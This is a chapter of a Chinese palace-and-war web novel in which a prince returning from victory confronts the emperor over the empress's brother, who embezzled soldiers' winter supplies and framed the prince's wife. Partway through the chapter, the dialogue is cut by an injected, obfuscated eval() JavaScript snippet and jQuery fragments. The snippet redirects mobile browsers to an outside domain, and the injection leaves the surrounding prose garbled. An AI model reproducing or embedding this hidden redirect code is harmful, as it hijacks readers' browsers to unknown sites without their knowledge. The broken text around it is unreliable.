66. 顾全大局

作品:《伴君游

    北狄被打得丢盔弃甲,溃不成军,首领博尔木被袁晁一刀斩落马下,头颅悬于辕门示众。新首领阿古达木已是吓破了胆,战战兢兢地递上降表,承诺二十年内绝不南下,岁岁纳贡,以表臣服。


    北狄经此一役,精锐尽丧,元气大伤,莫说二十年,便是再过三十年,便是想兴兵,怕也没有军力财力了。


    袁晁将北疆防务细细部署妥当,方才带着心腹将领,启程回京。大将军陈牧光为国戍边多年,已被恩准荣养还乡,亦在随行之列。一路晓行夜宿,风尘仆仆,不日将抵达天子脚下。


    京城这边,刑部衙门动作倒是雷厉风行,接了圣旨,几番提审,倒也查了个水落石出。


    崔海蓉交出一张银票,原本在王府不起眼的姨娘,如今成了关键人证。咬定了这是国舅府里一个黑衣人塞钱,以性命相要挟,要她在王妃赵灵犀的卧房里藏匿扎了针的小人。


    刑部顺着银票这条线,凭着票号与出票时日,顺藤摸瓜,不多时便锁定了票根原主,一个名叫王远的男子。


    王远无家无室,孑然一身,平日里只在市井厮混,可巧了,此人竟然是户部侍郎管继勋的一名侍卫。


    等刑部差役上门拿人时,王远早已逃之夭夭,无影无踪了。管继勋咬定了自己毫不知情,只说王远在外行事,一切皆与他无干,他一概不知,将自己撇得一干二净。


    凯旋的大军已驻扎在京郊。义安王府内,早得了信儿,上下个个是喜上眉梢,翘首以盼。


    袁晁遣人回府传话,只说他即刻进宫面圣,府中诸事,待他回来自有计较。原来他已然知晓赵灵犀被管继勋栽赃陷害,险些酿成大祸之事,只是苦无确凿证据,白白吃了个闷亏。他心中不悦,岂是能善罢甘休的?


    陈牧光离京多年,此番得胜还朝,心情激荡,百感交集。他本以为袁晁会唤他一同进宫面圣,谁知左等右等,看不见袁晁的身影。


    陈牧光耐不住了,寻到唐一铮,问:“唐将军,王爷呢?这都什么时候了,怎的还看不见他,咱们得赶紧面圣复命才是。”


    唐一铮看着他,扯了扯嘴角,道:“大将军,王爷先进宫去了。您老,还是同我在此处候着信儿吧。”


    “什么?!”陈牧光只觉一盆冰水从头浇下,血液几乎凝固。他剑眉倒竖,须发怒张,厉声问道:“唐将军此话何意?王爷将我困在此处,是何道理?莫非信不过我陈牧光?”


    唐一铮也不慌张,将擦拭干净的佩剑“哐啷”一声归入鞘中,挡住了陈牧光的去路,不疾不徐地笑道:“大将军,得罪了。您陈家满门皆在京中,令嫒更是太子府的良娣。王爷此番进宫,福祸难料。若是带着您一同前往,恐多有不便。万一宫中管氏一族有个变故,只怕会给您老和府上惹来麻烦。王爷也是为大将军着想。”


    陈牧光虽是武将,也知晓管氏党同伐异,袁晁此举,确是为他考虑周全,他终是长叹一声,不再言语。


    再说袁晁,一路快马加鞭,至宫门前,卸甲去剑,一身风尘未洗,径直入了宫门。


    御书房内,袁宗文见了袁晁,赶紧离了御座,亲自上前扶起他:“我儿平身,此番北伐,你是劳苦功高,快快起来说话。”


    袁宗文细细打量着袁晁,只见他身形更见挺拔,眉宇间带着冷厉之色,那是杀过人、见过血,从刀山火海里闯出来的煞气。


    袁煦也上前,拍了拍袁晁的肩膀,笑道:“可算是回来了,你这一身的煞气吓人啊!”


    袁晁将北疆战况一一禀报,众人俱是开怀大笑,自此北疆再无战事,史书上必将再给袁宗文记上丰功伟业。


    袁晁目光灼灼地看着袁宗文,开门见山,问道:“父皇,陈牧光大将军曾上奏提及北疆粮草与将士冬装多有亏空延误,此事,可查出了结果?”


    袁宗文面色微僵,脸上很是不自然,安抚他道:“户部侍郎管继勋一时不察,被手下蒙蔽,才有次疏漏。户部已将贪墨的官员依法严惩,管继勋也因失察之罪,罚俸一年,责令闭门反省了。你在外征战,这些朝中琐事,倒是不必太过挂怀了。”


    袁晁嘴角勾起一抹冷笑:“王妃自掏腰包为将士们筹集的冬衣物资,运往北疆的途中被一伙劫匪劫掠。劫匪已被生擒活捉,现下就在城外。他们招认是管继勋指使,特意去抢夺的。父皇,此事还要着人再细细查问一番么?”


    袁宗文脸上有些挂不住,他沉默半晌,叹道:“皇后就这两个兄弟,管继勋年轻识浅,行事确有不妥。玄度啊,得饶人处且饶人,看在皇后的面上,此事便算了吧。”


    袁晁哈哈大笑,眼角渐渐泛起红色:“饶了他?本该穿着厚实冬衣、吃着饱饭的儿郎,却因他一人之私,埋骨他乡!父皇您能饶了他,可那些冻死饿死在冰天雪地的将士们,该不该饶了他?父皇,您告诉我,怎么饶他?!”


    袁宗文一时语塞。


    袁晁眼圈泛红,声音都拔高了几分:“您为让皇后安心,只一道圣旨,我的王妃不得不带着三个孩子,千里迢迢来到人生地不熟的京城。她是您的儿媳,孩子们是您的孙儿孙女!您可知他们在京城是怎么过的?过得好不好?京中的水土,他们习不习惯?每日的吃穿用度,可还周全?父皇,您告诉我,您可曾过问一句?!”


    袁宗文看着儿子满身征尘与未褪的煞气,一时竟不知如何接口。


    袁晁冷笑:“于公,管氏目无朝廷;于私,两位国舅欺凌我义安王府府内无人。他们无非是仗着您的恩宠,便敢无法无天!你们是不是想着我袁晁此去北疆,必死无疑,再也回不来了?所以才敢这般肆无忌惮地欺凌我的妻儿?!父皇,您究竟给了他们几个胆子,让他们敢如此张狂?!”


    太子袁煦眼观鼻,鼻观心,仿佛一尊泥塑木雕,默默站立在一旁。


    袁宗文被袁晁夹枪带棒的话堵得脸上红一阵白一阵:“这说的是什么话?你是吉人天命,这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573500|164830||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不平安回来了吗?都是皇亲国戚,抬头不见低头见的,何必闹得如此难看?”


    “闹?”袁晁一声冷笑,道,“父皇您倒是说说,义安王府上下,哪个敢在您跟前胡闹生事了?您只管指出来,儿臣现下就把人给您捆来,当着您的面砍了,绝不让您难做!”


    “放肆!”袁宗文也气着了,“你刚回来,就喊打喊杀,张口砍这个,闭口杀那个,你到底想干什么?是要反了不成?!”


    袁煦忙上前劝道:“父皇息怒,弟弟他也是一时情急,您可别气坏了龙体。”


    袁晁也不看袁煦对他使眼色,脖子上青筋暴起:“您还生气了?我一人在外拼杀,指望着您给我照看好王府的上下老小。您倒好,任由管氏那起子小人,将他们欺负成什么样了?”


    袁宗文指着袁晁,怒道:“些许小事也值得你大动干戈?你那王妃不知顾全大局,非要小题大做,将事情往大了闹,让大家都下不来台!皇后不过是略施薄惩,让她知晓些分寸,你便值当得兴师问罪到朕跟前?”


    袁煦见他俩闹得不可开交,又劝:“父皇息怒。小舅舅行事向来出格,哪次不是母后替他周全?您若一味袒护,真让弟弟出手,只怕他性命难保!”


    袁宗文正在气头上,迁怒道:“哪里都有你!给朕闭嘴!没你的事!”


    袁煦上前抚着袁宗文的胸道:“父皇息怒!父皇息怒!玄度刚回来,待他回府歇息两日,理清了头绪再……唉,只怕理清了头绪,小舅舅更没好日子过!”


    袁宗文被两个儿子气得手指发颤:“你……你俩真是威风,能耐了你们!朕看你们是翅膀硬了,眼里没有朕这个父皇了!”


    袁煦笑道:“那不能够!父皇除了偏心管氏一族,必定是个千古名君的。”


    袁晁也道:“儿臣眼中若无父皇,此刻便不是在此与您费唇舌,而是直接提兵踏平国舅府了!”


    袁宗文颓然坐下,揉着额角,气道:“你这犟驴似的性子,究竟随了谁?怎么就不能改改?”


    袁晁咬牙道:“父皇若是碍于皇后的情面,不愿处置管继勋,那也休怪儿臣寻个法子,了结了这段恩怨。他做的这些事,总不能不付出代价吧?”


    袁宗文挥了挥手,道:“朕不与你说这些,你自己斟酌着办吧。”他语气和缓道,“你此番回京,九死一生,也该去给你母妃请个安才是,她心里惦记的很,你去看看她,也让她安心。”


    袁晁深吸一口气,缓缓道:“该禀报的军务,儿臣已经禀报完了。该说的话,儿臣也说尽了。日后管继勋如何,您就当没看见。父皇让陈牧光、唐一铮他们率部进城休整吧。儿臣告退,先去景仁宫了。”


    说罢,也不等袁宗文回应,便径自躬身一揖,转身大步流星地向殿外走去,留下袁宗文与袁煦父子二人,面面相觑。


    袁宗文看到整日气自己的太子,脑袋疼,捡起案上的书册,直朝袁煦身上扔了过去……